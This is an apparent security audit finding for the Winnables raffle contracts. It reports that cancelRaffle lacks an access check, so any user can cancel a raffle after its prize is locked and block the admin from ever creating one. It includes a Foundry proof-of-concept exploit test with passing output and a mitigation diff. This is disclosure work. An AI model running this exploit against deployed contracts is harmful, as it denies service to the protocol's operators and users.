Wonderful Eggplant Aardvark

High

# Lack of access control in `WinnablesTicketManager::cancelRaffle` can cause DOS for the admin

### Summary

Lack of access control in `WinnablesTicketManager::cancelRaffle` can be used to prevent raffle creation and cause a denial of service to the admin by a malicious user who can cancel the raffle before it is created and after the prize is locked.

### Root Cause

In `_checkShouldCancel` there is no check to see if the account calling the function is a user or an admin. The intention is to allow users to cancel raffles in case when the `minTicketsThreshold` is not reached before `endTime` but currently it can be exploited when the raffle status is `PRIZE_LOCKED` as the condition on [WinnablesTicketManager.sol:436](https://github.com/sherlock-audit/2024-08-winnables-raffles-ShivamDeshmukh21/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436) passes.

### Internal pre-conditions

1. Admin needs to lock the raffle prize in `WinnablesPrizeManager` which triggers `_ccipReceive` in `WinnablesTicketManager` and set raffle status to `PRIZE_LOCKED`

### External pre-conditions

_No response_

### Attack Path

1. Admin calls `lockEth` or `lockTokens` or `lockNFT` in order to lock in the raffle prize in `WinnablesPrizeManager`.
2. `_ccipReceive` is triggered internally and raffle status is set to `PRIZE_LOCKED`.
3. A malicious user now calls `WinnablesTicketManager::cancelRaffle`, the condition at L436 passes and raffle status now gets set to `CANCELED`.
4. Locked prize gets unlocked on `WinnablesPrizeManager` and can be withdrawn.
5. Admin is unable to ever `createRaffle` as the malicious user can simply call `cancelRaffle` everytime prize is locked.

### Impact

The admin is never able to create a raffle using `WinnablesTicketManager::createRaffle`, essentially causing a denial of service.

### PoC

As the POC is written in Foundry, you will have to carry out the steps listed below:

1. Initialize Foundry within the repository by following the steps from [Foundry docs](https://book.getfoundry.sh/config/hardhat?highlight=hardha#adding-foundry-to-a-hardhat-project)

2. Inside the `test` folder, create a file named `forge-tests/Winnables.t.sol` and add the following lines of code to import the required files:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol";
import {WinnablesPrizeManager} from "../../contracts/WinnablesPrizeManager.sol";
import {WinnablesTicketManager} from "../../contracts/WinnablesTicketManager.sol";
import {WinnablesTicket} from "../../contracts/WinnablesTicket.sol";
import {IWinnables} from "../../contracts/interfaces/IWinnables.sol";
import {IWinnablesTicketManager} from "../../contracts/interfaces/IWinnablesTicketManager.sol";
```

3. Add the following testing contract with the required state variables and a `setUp()` function which is called before every test execution:

```solidity
contract WinnablesPrizeManagerTest is Test {
    address linkToken = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
    address ccipRouter = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59;
    address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625;
    uint64 subscriptionId = 1;
    bytes32 keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address admin = makeAddr("admin");

    WinnablesPrizeManager prizeManager;
    WinnablesTicketManager ticketManager;
    WinnablesTicket tickets;

    uint256 ethereumFork;
    uint256 avalancheFork;
    CCIPLocalSimulatorFork ccipLocalSimulatorFork;
    Register.NetworkDetails ethereumNetworkDetails;
    Register.NetworkDetails avalancheNetworkDetails;

    function setUp() external {
        // fork
        ethereumFork = vm.createFork(vm.envString("ETHEREUM_SEPOLIA_RPC"));
        avalancheFork = vm.createFork(vm.envString("AVALANCHE_FUJI_RPC"));

        // ccip local
        vm.selectFork(ethereumFork);
        ccipLocalSimulatorFork = new CCIPLocalSimulatorFork();
        vm.makePersistent(address(ccipLocalSimulatorFork));
        ethereumNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid);
        vm.selectFork(avalancheFork);
        avalancheNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid);

        // DEPLOY CONTRACTS
        // ethereum
        vm.selectFork(ethereumFork);
        vm.startPrank(admin);
        prizeManager =
            new WinnablesPrizeManager(ethereumNetworkDetails.linkAddress, ethereumNetworkDetails.routerAddress);
        ccipLocalSimulatorFork.requestLinkFromFaucet(address(prizeManager), 1 ether);
        vm.stopPrank();

        // avalanche
        vm.selectFork(avalancheFork);
        vm.startPrank(admin);
        tickets = new WinnablesTicket();
        ticketManager = new WinnablesTicketManager(
            avalancheNetworkDetails.linkAddress,
            vrfCoordinator,
            subscriptionId,
            keyHash,
            address(tickets),
            avalancheNetworkDetails.routerAddress
        );
        ticketManager.setCCIPCounterpart(address(prizeManager), ethereumNetworkDetails.chainSelector, true);
        ccipLocalSimulatorFork.requestLinkFromFaucet(address(ticketManager), 1 ether);
        vm.stopPrank();
    }

    // PASTE POC HERE
}
```

4. Now add the following test to the file:

```solidity
function test_CancelRaffleBeforeCreation() external {
        // Admin locks in the prize on Ethereum
        vm.selectFork(ethereumFork);
        hoax(admin, 10 ether);
        prizeManager.lockETH{value: 1 ether}(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether);
        ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork);

        vm.selectFork(avalancheFork);
        (,,,,,, IWinnables.RaffleStatus statusBefore,) = ticketManager.getRaffle(1);
        // check if raffle status was updated in _ccipReceive
        assertEq(uint256(statusBefore), uint256(IWinnables.RaffleStatus.PRIZE_LOCKED));

        // malicious user alice cancels the raffle
        vm.prank(alice);
        ticketManager.cancelRaffle(address(prizeManager), ethereumNetworkDetails.chainSelector, 1);

        (,,,,,, IWinnables.RaffleStatus statusAfter,) = ticketManager.getRaffle(1);
        // check if raffle status is now set to CANCELED
        assertEq(uint256(statusAfter), uint256(IWinnables.RaffleStatus.CANCELED));

        // createRaffle reverts as expected, admin unable to start raffle
        vm.prank(admin);
        vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector);
        ticketManager.createRaffle(1, uint64(block.timestamp), uint64(block.timestamp + 100), 5, 10, 2);
    }
}
```

5. Run the test by using command `forge test --mt test_CancelRaffleBeforeCreation -vv`
6. The test passes with the following logs:

```shell
Ran 1 test for test/forge-tests/Winnables.t.sol:WinnablesPrizeManagerTest
[PASS] test_CancelRaffleBeforeCreation() (gas: 484463)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.16s (10.69s CPU time)

Ran 1 test suite in 18.17s (18.16s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

Update the logic in `WinnablesTicketManager::_checkShouldCancel` to only allow the admin to cancel a raffle when its status is `PRIZE_LOCKED` as seen below:

```diff
function _checkShouldCancel(uint256 raffleId) internal view {
        Raffle storage raffle = _raffles[raffleId];
+       if (raffle.status == RaffleStatus.PRIZE_LOCKED) {
+          _checkRole(msg.sender, 0);
+       }
        if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle();
        if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen();
        uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId);
        if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached();
    }
```

Test the above changes against the following unit test:

```solidity
function test_Mitigation() external {
        // Admin locks in the prize on Ethereum
        vm.selectFork(ethereumFork);
        hoax(admin, 10 ether);
        prizeManager.lockETH{value: 1 ether}(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether);
        ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork);

        vm.selectFork(avalancheFork);
        (,,,,,, IWinnables.RaffleStatus statusBefore,) = ticketManager.getRaffle(1);
        // check if raffle status was updated in _ccipReceive
        assertEq(uint256(statusBefore), uint256(IWinnables.RaffleStatus.PRIZE_LOCKED));

        // malicious user alice tries to cancel the raffle unsuccessfully
        vm.prank(alice);
        vm.expectRevert(abi.encodeWithSelector(Roles.MissingRole.selector, alice, 0));
        ticketManager.cancelRaffle(address(prizeManager), ethereumNetworkDetails.chainSelector, 1);
}
```

The test passes with the following logs:
```shell
Ran 1 test for test/forge-tests/Winnables.t.sol:WinnablesPrizeManagerTest
[PASS] test_Mitigation() (gas: 359791)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.57s (7.74s CPU time)

Ran 1 test suite in 16.58s (16.57s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```